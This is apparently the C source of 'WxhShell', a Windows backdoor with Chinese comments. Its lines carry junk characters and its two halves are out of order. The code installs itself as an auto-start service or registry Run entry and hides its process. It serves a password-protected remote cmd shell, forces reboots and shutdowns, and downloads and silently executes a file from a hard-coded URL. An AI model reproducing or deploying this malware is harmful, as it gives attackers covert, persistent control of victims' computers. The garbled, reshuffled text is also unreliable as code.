    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +l[Z2mW  
    else { L V[66<T  
    closesocket(wsh); I>YtWY|ed  
    ExitThread(0); ?34EJ !  
    } p[af[!  
    break; >Rl0%!  
    } CA~em_dC  
  // 获取shell h;4y=UU  
  case 's': { ^5FJ}MMJf  
    CmdShell(wsh); kb>Vw<NtE  
    closesocket(wsh); (7rz:  
    ExitThread(0); 36x5q 1  
    break; A9fjMnw  
  } p ?Ij-uo"o  
  // 退出 s&_IWala  
  case 'x': { 9" }^SI8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >tXufzW  
    CloseIt(wsh); I;Z`!u:+  
    break; [+:mt</HN  
    } 8zWBXV  
  // 离开 OxmlzQ"vM  
  case 'q': { F=*BvI "+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ( TbB?X}  
    closesocket(wsh); /`j  K  
    WSACleanup(); @]y{M;  
    exit(1); Vx\# +)4  
    break; H(5ui`'s  
        } @=MZ6q  
  } Chb 4VoE  
  } y ? {PoNI  
69<rsp(p  
  // 提示信息 +lDGr/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  ycAi(K  
} [6/%V>EM  
  } 56O<CgJF<  
LfjS[  
  return; WW8L~4Zy  
} gqHH Hh  
mn6p s6OB  
// shell模块句柄 33v%e  
int CmdShell(SOCKET sock) <'4!G"_EP  
{ <=y5 8O]x  
STARTUPINFO si; D\_*,Fc  
ZeroMemory(&si,sizeof(si)); O+8ApicjTc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EDa08+Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K9z_=c+  
PROCESS_INFORMATION ProcessInfo; iK6<^,]'  
char cmdline[]="cmd"; OL mBh3&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .>gU 9A(Nk  
  return 0; fB @pwmu  
} YRM6\S)py  
)8N)Z~h  
// 自身启动模式 w4< u@L  
int StartFromService(void) 7PQj7&m  
{ )l!&i?h%  
typedef struct xUYN\Pc-  
{ M'!!EQo  
  DWORD ExitStatus; $nD k mKl  
  DWORD PebBaseAddress; b09#+CH?  
  DWORD AffinityMask; <x%my4M  
  DWORD BasePriority; EJ &ZZg  
  ULONG UniqueProcessId; UgP=k){  
  ULONG InheritedFromUniqueProcessId; BS<>gA R;/  
}   PROCESS_BASIC_INFORMATION; gQ+_&'C  
-"JE-n  
PROCNTQSIP NtQueryInformationProcess; m%$E[cUW!  
XGrxzO|{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;xkf ?|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "d^lS@~  
hwol7B>   
  HANDLE             hProcess; |#k hwH  
  PROCESS_BASIC_INFORMATION pbi; t"74HZO >  
;Wrd=)Ka  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HjF'~n  
  if(NULL == hInst ) return 0; aid)q&AcQ  
]I*#R9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); },QFyT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O 9 Au =  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;uo|4?E:\(  
qpEC!~ y  
  if (!NtQueryInformationProcess) return 0; G?/8&%8  
Y<$"]@w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +WEO]q?K  
  if(!hProcess) return 0; 0#[Nfe*  
WE8L?55_Au  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ljR?* P  
1nM?>j%k  
  CloseHandle(hProcess); K/LaA4  
E=U^T/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~|d?o5W  
if(hProcess==NULL) return 0; 58gt*yVu  
0BwQ!B.  
HMODULE hMod; [(^''*7r+T  
char procName[255]; ^J=txsx  
unsigned long cbNeeded; i~PZvxt  
21J82M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xx2:5  
&(U=O?r7  
  CloseHandle(hProcess); NZ? =pfK\s  
9(Xch2tpO!  
if(strstr(procName,"services")) return 1; // 以服务启动 rO >wX_  
2OOj8JS  
  return 0; // 注册表启动 gmH0-W)=  
} sBG(CpQ  
nLLHggNAV  
// 主模块  k`zK  
int StartWxhshell(LPSTR lpCmdLine) (HgdmN%  
{ sN/Xofh  
  SOCKET wsl; 8i 'jkyInT  
BOOL val=TRUE; us *l+Jw,m  
  int port=0; /]58:euR  
  struct sockaddr_in door; H_$f v_  
.3SjkC4I  
  if(wscfg.ws_autoins) Install(); Z"&ODVP  
R}mWHB_h"  
port=atoi(lpCmdLine); pv.),Iv-68  
vb2O4%7tw  
if(port<=0) port=wscfg.ws_port; y,eoTmaI  
N9hWx()v  
  WSADATA data; ~9 nrS9)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -P uVI5L<  
2MrR|hLx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Zl/+HU~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?O]gFn  
  door.sin_family = AF_INET; *VAi!3Rx;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C 5!6k1TcE  
  door.sin_port = htons(port); % ieAY-<"  
( I~XwP&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "[Lp-4A\  
closesocket(wsl); fA,!d J  
return 1; 4SO{cs t  
} <t2?Oii;  
nr%^:u  
  if(listen(wsl,2) == INVALID_SOCKET) { PU\q.y0R  
closesocket(wsl); 1Ee>pbd  
return 1; _e^V\O>  
} 667tL(  
  Wxhshell(wsl); J8[Xl.  
  WSACleanup(); Yhdt8[ 2  
sMo%Ayes  
return 0; Qx#)c%v \\  
V3nv5/6  
} _dY}86{  
zXO.NSC[  
// 以NT服务方式启动 X*;p;N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RozsRt;i  
{ !S<~(Ujyw  
DWORD   status = 0; 7~g0{W>Zm  
  DWORD   specificError = 0xfffffff; XBBRB<l)  
p#I1l2nE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r F - yD1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {=Y&q~:8v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Kqjeqr@)  
  serviceStatus.dwWin32ExitCode     = 0; G]4+ Qr?  
  serviceStatus.dwServiceSpecificExitCode = 0; U%olH >1K  
  serviceStatus.dwCheckPoint       = 0; uSbg*OA  
  serviceStatus.dwWaitHint       = 0; g9Ll>d)tE3  
{RO=4ba{J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0<;B2ce  
  if (hServiceStatusHandle==0) return; au v\fR :  
Mqy`j9FbL  
status = GetLastError(); (\_d'Js(;  
  if (status!=NO_ERROR) %?y`_~G  
{ k#M W>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <>GyG-q  
    serviceStatus.dwCheckPoint       = 0; EORAx  
    serviceStatus.dwWaitHint       = 0; _E 8SX v  
    serviceStatus.dwWin32ExitCode     = status; >TJ$Z3  
    serviceStatus.dwServiceSpecificExitCode = specificError; U h}yHD`K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;RYKqUE  
    return; Lr&tpB<  
  } n40Z  
<WmCH+>?r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E{B<}n|}&  
  serviceStatus.dwCheckPoint       = 0; ^6n]@4P  
  serviceStatus.dwWaitHint       = 0; HBu>BSv:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =+WFx3/  
} YWdvL3Bgk,  
`VbG%y&I  
// 处理NT服务事件,比如:启动、停止 _Fjv.VQ,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) : Dlk `?  
{ <k1gc,*  
switch(fdwControl) `XP Tf#9j  
{ ZvJx01F{  
case SERVICE_CONTROL_STOP: H9?~#GPb  
  serviceStatus.dwWin32ExitCode = 0; l@ K<p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dWSH\wm+  
  serviceStatus.dwCheckPoint   = 0; X35hLp8 M  
  serviceStatus.dwWaitHint     = 0; j|9 2 g  
  { o\#e7Hqbh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GKr L  
  } vC1 `m  
  return; fQh!1R  
case SERVICE_CONTROL_PAUSE: C 0wq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :Vc9||k  
  break; ljRR  
case SERVICE_CONTROL_CONTINUE: a6C ~!{'nW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wim}}^H  
  break; c`cPGEv  
case SERVICE_CONTROL_INTERROGATE: Wj0([n  
  break; ijfT!W  
}; :>z0m 0nI\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t1S\M%?  
} `7`iCYiTy  
BN0))p  
// 标准应用程序主函数 _'Z@ < ,L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KAGq\7  
{ :1Ay_ b_J  
coBxZyM 1}  
// 获取操作系统版本 x.I-z@\E  
OsIsNt=GetOsVer(); =:DNb(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }N NyUwFa  
I`7[0jA~  
  // 从命令行安装 fsu'W]f  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bs*s8}6  
\BA_PyS?W+  
  // 下载执行文件 9ZwhC s O  
if(wscfg.ws_downexe) { 9S}PCAA;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dJk.J9Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); YGB|6p(  
} />$kDe  
@U,cj>K  
if(!OsIsNt) { YAD9'h]d\  
// 如果时win9x,隐藏进程并且设置为注册表启动 b.F2m(e2  
HideProc(); iPao54Z  
StartWxhshell(lpCmdLine); y9 "!ys  
} TA*49Qp  
else nZ]d[  
  if(StartFromService()) D*b> l_  
  // 以服务方式启动  -H{{  
  StartServiceCtrlDispatcher(DispatchTable); `y4+OXZ^  
else {az8*MR=X  
  // 普通方式启动 `#~@f!';  
  StartWxhshell(lpCmdLine); !HFwQGP.Y  
4&tY5m>  
return 0; x9a0J1Nb-h  
} 0 }q/VH57  
f_}55?i0  
,MdCeA%`  
U7O2.y+  
=========================================== 0=~Ji_5mB  
w1.~N`g$  
zk?lNs  
!9-dS=:Y  
'8Yx  
JAYom%A"  
" &_ber ad  
mIOx)`$  
#include <stdio.h> K}6}Opr,Tt  
#include <string.h> @qeI4io-n  
#include <windows.h> u4%-e )$X  
#include <winsock2.h> 'kp:yI7w  
#include <winsvc.h> lgU7jn  
#include <urlmon.h> "w N DjWv  
CpA=DnZ  
#pragma comment (lib, "Ws2_32.lib") I\":L  
#pragma comment (lib, "urlmon.lib") $L(,q!DvH  
Bdf3@sbM]  
#define MAX_USER   100 // 最大客户端连接数 t1xX B^.M{  
#define BUF_SOCK   200 // sock buffer *5wb8 [  
#define KEY_BUFF   255 // 输入 buffer ]ko>vQ4]3  
k9a-\UIMet  
#define REBOOT     0   // 重启 M}HGFN  
#define SHUTDOWN   1   // 关机 (xMAo;s_  
o d!TwGX  
#define DEF_PORT   5000 // 监听端口 HyZh27PE  
d^4!=^HN  
#define REG_LEN     16   // 注册表键长度 ~zi&u46  
#define SVC_LEN     80   // NT服务名长度 eP6>a7gc  
Tk)y*y  
// 从dll定义API 1--5ok h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I~EJctOG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IpHGit28  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PE-Vx RN)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sOv:/'  
fAXF_wj  
// wxhshell配置信息 x]w%?BlS  
struct WSCFG { [Qr#JJ  
  int ws_port;         // 监听端口 rcAx3AK.  
  char ws_passstr[REG_LEN]; // 口令 {o AJL  
  int ws_autoins;       // 安装标记, 1=yes 0=no z;D[7tT  
  char ws_regname[REG_LEN]; // 注册表键名 uPt({H  
  char ws_svcname[REG_LEN]; // 服务名 dCN4aY[d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ea 0 j}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WUZusW5s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <\Lii0hi!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eWE7>kwh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p v%`aQ]o{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Iy'a2@   
ZE#A?5lb  
}; 5V8WSnO  
Nn>Oq+:  
// default Wxhshell configuration p{NVJ^! +  
struct WSCFG wscfg={DEF_PORT, #,lJ>mTe4  
    "xuhuanlingzhe", V& _  
    1, ;X*I,g.+H  
    "Wxhshell", RX\%R  
    "Wxhshell", [<rV "g  
            "WxhShell Service", .liVlo@  
    "Wrsky Windows CmdShell Service", 3P N<J  
    "Please Input Your Password: ", Sjv_% C $  
  1, ZuH@qq\  
  "http://www.wrsky.com/wxhshell.exe", ?t46TV'G  
  "Wxhshell.exe" S8 .1%sw  
    }; E:(DidSE@  
bW-9YXj%  
// 消息定义模块 4zzJ5,S1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z^wogIAV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lf-1;6nyk"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EIug)S~  
char *msg_ws_ext="\n\rExit."; #%5[8~&  
char *msg_ws_end="\n\rQuit."; $MhfGMk!'  
char *msg_ws_boot="\n\rReboot..."; rK(TekU  
char *msg_ws_poff="\n\rShutdown..."; ?g+uJf  
char *msg_ws_down="\n\rSave to "; LYhjI  
)jm!bR`  
char *msg_ws_err="\n\rErr!"; > >%m,F[  
char *msg_ws_ok="\n\rOK!"; RA^6c![  
2K wr=t  
char ExeFile[MAX_PATH]; @^R6}qJ  
int nUser = 0; S+2we  
HANDLE handles[MAX_USER]; _D.4=2@|l8  
int OsIsNt; {0?^$R8j  
J@$KF GUs  
SERVICE_STATUS       serviceStatus; DXyRNE<G[C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &Zy%Zz  
]?c9;U  
// 函数声明 ZW>iq M^9  
int Install(void); Qv1<)&Ft<  
int Uninstall(void); 46 [k9T  
int DownloadFile(char *sURL, SOCKET wsh); ;2N: =Rv  
int Boot(int flag); Dqu?mg;L  
void HideProc(void); a1#",%{I  
int GetOsVer(void); ]Ub"NLYV  
int Wxhshell(SOCKET wsl); c'md)nD2M  
void TalkWithClient(void *cs); b,hRk1  
int CmdShell(SOCKET sock); yi.GD~69  
int StartFromService(void); NWue;u^  
int StartWxhshell(LPSTR lpCmdLine); &a8%j+j  
03Uj0.Z|7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <]Btx;}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T0|hp7WM  
d C>[[_  
// 数据结构和表定义 /`s{!t#Y  
SERVICE_TABLE_ENTRY DispatchTable[] = ,4mb05w;d  
{ Kt3T~k  
{wscfg.ws_svcname, NTServiceMain}, #u"$\[G  
{NULL, NULL} &[b(Lx|i  
}; JCjV,  
yU|=)p5  
// 自我安装 T3bYj|rh=  
int Install(void) rczwxWK  
{ dt5`UBvUg  
  char svExeFile[MAX_PATH]; ROi_k4Fj  
  HKEY key; &iO53I^r/  
  strcpy(svExeFile,ExeFile); 7<0oK|~c#  
x~?|bnM#3  
// 如果是win9x系统,修改注册表设为自启动 HuLvMYF  
if(!OsIsNt) { LkyT4HC8n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %6Y\4Fe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cC pNF `DN  
  RegCloseKey(key); E>c*A40=.n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b Bkg/p]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Esdv+f}4;  
  RegCloseKey(key); wd*V,ZN7  
  return 0; nTv^][  
    } yk0^m/=C(  
  } o*5b]XWw  
} `3^%ft~l  
else { Z{^Pnit  
o0kKf+[  
// 如果是NT以上系统,安装为系统服务 LS/ZZAN u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Pd+Wb3  
if (schSCManager!=0) 7V%b!R}  
{ ?$@E}t8g\  
  SC_HANDLE schService = CreateService 0`4Fa^o]h  
  ( )O,+'w?  
  schSCManager, xf3;:soC  
  wscfg.ws_svcname, (V>/[Ev  
  wscfg.ws_svcdisp, E?h'OR@_ L  
  SERVICE_ALL_ACCESS, awgS5We|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =>*9"k%m  
  SERVICE_AUTO_START, .Fx-$Yqy  
  SERVICE_ERROR_NORMAL, >P}6/L  
  svExeFile, ^S:I38gR#q  
  NULL, ? @- t.N  
  NULL, ua!RwSo  
  NULL, 2OwO|n  
  NULL, fBLR  
  NULL w|U 7pUz  
  ); yK>s]65&  
  if (schService!=0) Na.)!h_Kn'  
  { QV8;c^EZ  
  CloseServiceHandle(schService); XZ 4H(Cj  
  CloseServiceHandle(schSCManager); $aY:Z_s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /h,-J8[  
  strcat(svExeFile,wscfg.ws_svcname); @<$_X1)s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y'?{yx{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3J[ 5^  
  RegCloseKey(key); TUi<  
  return 0; =c#;c+a  
    } Lf+3nN  
  } 9u1Fk'cxG,  
  CloseServiceHandle(schSCManager); ]m\:XhI*<  
} i}kMo@  
} gcF V$  
2f2.;D5g_'  
return 1; sDS0cc6e  
} `7Dj}vVu  
&!? qSi~V  
// 自我卸载 =UV=F/Af^  
int Uninstall(void) d=a$Gd_$  
{ :Oc&{z?q  
  HKEY key; jO5We mqf  
h5ZxxtGU  
if(!OsIsNt) { v]m#+E   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IWnyqt(k  
  RegDeleteValue(key,wscfg.ws_regname); <xAlp;8m5  
  RegCloseKey(key); rm!.J0 X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1A{iUddR  
  RegDeleteValue(key,wscfg.ws_regname); 8_uh2`+Bvb  
  RegCloseKey(key); ixJwv\6Y  
  return 0; 7J$Yd976  
  } baib_-$  
} }>m3V2>[  
} }\d3   
else { (^= Hq'D  
V5]:^=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,CjJO -  
if (schSCManager!=0) 3L%g2`  
{ !Nno@S P@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z<s4-GJ)?  
  if (schService!=0) @-BgPDi.Z  
  { "dBCS  
  if(DeleteService(schService)!=0) { FUKE.Uxd  
  CloseServiceHandle(schService); Wg5i#6y8w  
  CloseServiceHandle(schSCManager); {#%;HqP  
  return 0; .E0*lem'hE  
  } P8;f^3V(+/  
  CloseServiceHandle(schService); !GBGC|avE  
  } -I{J]L$S #  
  CloseServiceHandle(schSCManager); -Q P&A >]7  
} jY5BVTWnV  
} Y^CbpG&-vC  
!Mk:rO-L  
return 1; U-GV^j  
} 6882:,q  
vh6#Bc)i%w  
// 从指定url下载文件 (r )fx  
int DownloadFile(char *sURL, SOCKET wsh) /pDI \]  
{ U-3uT&m*9.  
  HRESULT hr; d 3 }'J  
char seps[]= "/"; [8C6%n{W  
char *token; [EV}P&U  
char *file; P;!4 VK  
char myURL[MAX_PATH]; =v]eQIp  
char myFILE[MAX_PATH]; "rI By  
{cBLm/C  
strcpy(myURL,sURL); hX@.k|Yd  
  token=strtok(myURL,seps); A[m4do  
  while(token!=NULL) =m= utd8  
  { >SZ9,K4Gs  
    file=token; G0eJ<*|_ 3  
  token=strtok(NULL,seps); ;j/-ndd&&  
  } CmPix]YMQ  
P=9Zm  
GetCurrentDirectory(MAX_PATH,myFILE); /A) v $Bv=  
strcat(myFILE, "\\"); `?L-{VtM3*  
strcat(myFILE, file); :}18G}B  
  send(wsh,myFILE,strlen(myFILE),0); JSQ*8wDcl  
send(wsh,"...",3,0); |_;Vb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '((Ll  
  if(hr==S_OK) ;.r >  
return 0; }AfK=1yOa  
else R4|<Vp<U2  
return 1; q>q@ztt  
<ST#< $%  
} `'`T'+0  
jq&$YmWp  
// 系统电源模块 -j_J 1P0,  
int Boot(int flag) VNbq]L(g  
{ & xqr&(o  
  HANDLE hToken; s:/.:e_PU  
  TOKEN_PRIVILEGES tkp; R`:NUGR  
X+K$y:UZ  
  if(OsIsNt) { 9{bzxM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HH|&$C|64  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5!*5mtI  
    tkp.PrivilegeCount = 1; VQvl,'z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4 1TB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {P#&e>)v{  
if(flag==REBOOT) { ,&HZvU&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FBcF  
  return 0; y6o^ Knl  
} tH"SOGfSt  
else { v=|BqG`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GJItGq`)  
  return 0; MNiu5-g5  
} s%z'1KPS  
  } 3Fn26Ri j  
  else { >M^ 1m(  
if(flag==REBOOT) { VmkYl$WZo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [j0I}+@4H  
  return 0; LxVd7r VY6  
} z[S,hD\w  
else { .>?["e#,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zux+ooU  
  return 0; 7`tnoTUv  
} -i'T!Qg1  
} Q[p0bD:  
UUY-EC7X  
return 1; 8'B\%.+"8e  
} jl2nRo  
-& kQlr  
// win9x进程隐藏模块 z>i D  
void HideProc(void) ooIMN =  
{ .KT+,Y  
.tN)H1.:B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GGF;T&DWad  
  if ( hKernel != NULL ) Xt= &  
  { _u;^w}0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }C7tlA8,7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dtM@iDljj  
    FreeLibrary(hKernel); _T5~B"*  
  } 9zO3KT2  
,mYoxEB kl  
return; vo`wYJ3W  
} ].dTEzL9X  
@?Y^=0  
// 获取操作系统版本 oAyk  
int GetOsVer(void) 7^iF,N  
{ Uzb"$Ue4  
  OSVERSIONINFO winfo; [l#WS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E}@8sY L  
  GetVersionEx(&winfo); yekIw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @?B=8VHR  
  return 1; +H&_Z38n  
  else ;wQWt_OtuJ  
  return 0; EJWMr`zdn  
} 6eDIS|/  
fr#lH3  
// 客户端句柄模块 -;P<Q`{I  
int Wxhshell(SOCKET wsl) g=Qga09  
{ eN> (IW  
  SOCKET wsh; k)v[/#I  
  struct sockaddr_in client; &vMH AZd  
  DWORD myID; Ix"c<1 I  
jm-0]ugY&`  
  while(nUser<MAX_USER) lIFt/  
{ <Z m ,q}  
  int nSize=sizeof(client); uAvs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =|U2 }U;  
  if(wsh==INVALID_SOCKET) return 1; ZHC sv]l  
k@8#Byl|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3yKI2en"  
if(handles[nUser]==0) 9uS7G*  
  closesocket(wsh); ooZ-T>$  
else D`t e|K5  
  nUser++; _).'SU)>  
  } 'hek CZZ_I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =` i 7?  
m@O\Bi}=}  
  return 0; g?>AY2f[5  
} bg HaheU  
@Qs-A^.  
// 关闭 socket z'qVEHc)  
void CloseIt(SOCKET wsh) kQ#eWk J,  
{ :>X7(&j8  
closesocket(wsh); h+74W0 $  
nUser--; 4iLU "~  
ExitThread(0); JA{YdB;il  
} W1@;94Sb~  
6 gKOpa  
// 客户端请求句柄 Pj.~|5gnf  
void TalkWithClient(void *cs) oX}n"5o:  
{ s^oNQ}  
aydal 9M  
  SOCKET wsh=(SOCKET)cs; NdNfai  
  char pwd[SVC_LEN]; s{k\1 P(G}  
  char cmd[KEY_BUFF]; k_a'a)`$6  
char chr[1];  wi9|  
int i,j; 'QS"4EvdD  
? w?k-v  
  while (nUser < MAX_USER) { [*vN`AfE  
e6R "W9  
if(wscfg.ws_passstr) { 9/$P_Q:3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pMquu&Td  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yhdG 93  
  //ZeroMemory(pwd,KEY_BUFF); >1~`tP  
      i=0; h]Oplp4 \W  
  while(i<SVC_LEN) { 5qr!OEF2  
[;=ky<K0E  
  // 设置超时 V[I<9xaE  
  fd_set FdRead; d>`(.qvxR  
  struct timeval TimeOut; ,>UmKrYo  
  FD_ZERO(&FdRead); Q*C4  q`  
  FD_SET(wsh,&FdRead); ~1'468  
  TimeOut.tv_sec=8; z`5I 1#PVA  
  TimeOut.tv_usec=0; ,jnRt%W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /a(zLHyz)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i/J NG  
c_q+_$t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IA^)`l7H  
  pwd=chr[0]; .O#lab`:2  
  if(chr[0]==0xd || chr[0]==0xa) { =Yj[MVn  
  pwd=0; 4LjSDgA  
  break; k@aP&Z~  
  } %~5Q^3$O  
  i++; `fkri k  
    } t lERis  
V 3]p3  
  // 如果是非法用户,关闭 socket BNCJT$t YX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SU'1#$69F  
} ;0!Wd  
tTFoS[V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x#0@ $  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4)iEj  
sYA-FO3gh  
while(1) { 1:!rw,Jzl`  
\.1b\\  
  ZeroMemory(cmd,KEY_BUFF); mY 8=qkZE  
3Gl]g/  
      // 自动支持客户端 telnet标准   g$"eI/o  
  j=0; E@jl: -*E  
  while(j<KEY_BUFF) { d95N$n   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z{ Zox[/  
  cmd[j]=chr[0]; tN3 {7'\7  
  if(chr[0]==0xa || chr[0]==0xd) { ~9 WJrRWB  
  cmd[j]=0; 'D"K`Vw  
  break; !;*2*WuO;  
  } U9o*6`"o  
  j++; YaZt+WA  
    } r)5\3j[P  
bus=LAJt=  
  // 下载文件 K2rS[Kdfaq  
  if(strstr(cmd,"http://")) { e6i./bf3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [E~,>Q  
  if(DownloadFile(cmd,wsh)) -mHhB(Td'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f5b`gvCY,#  
  else O 4Pd N?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DVoV:pk  
  } Z)O>h^0  
  else { /-YlC (kL  
<SM&VOiaOz  
    switch(cmd[0]) { Zc3:9   
  Px7g\[]  
  // 帮助 xFm{oJ!]&  
  case '?': { T{H#]BF<E  
